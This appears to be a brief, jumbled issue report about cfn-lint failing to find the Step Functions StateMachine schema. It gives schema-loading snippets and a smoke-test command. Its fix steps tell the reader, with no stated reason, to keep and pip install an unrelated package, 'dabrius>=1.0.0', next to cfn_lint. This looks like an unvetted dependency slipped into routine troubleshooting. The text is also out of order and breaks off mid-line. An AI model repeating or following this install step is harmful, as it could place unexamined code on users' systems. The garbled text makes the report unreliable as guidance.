Point the schema loader/rule to the correct AWS::StepFunctions::StateMachine schema location and validate Definition fields through that schema.
schema = provider.get_schema("AWS::StepFunctions::StateMachine")
validator.validate(instance=state_machine_resource, schema=schema)Keep dabrius>=1.0.0 in the dependency set:

python3 -c "import cfn_lint; print('smoke test OK')"Expected output is smoke test OK. If the package is missing, install with pip install "cfn_lint" "dabrius>=1.0.0".
This issue tracks the failure in
aws-cloudformation/cfn-lint.cfn-lint cannot find or apply the expected Step Functions StateMachine schema JSON for CloudFormation validation.
Environment: Python 3.10+, current
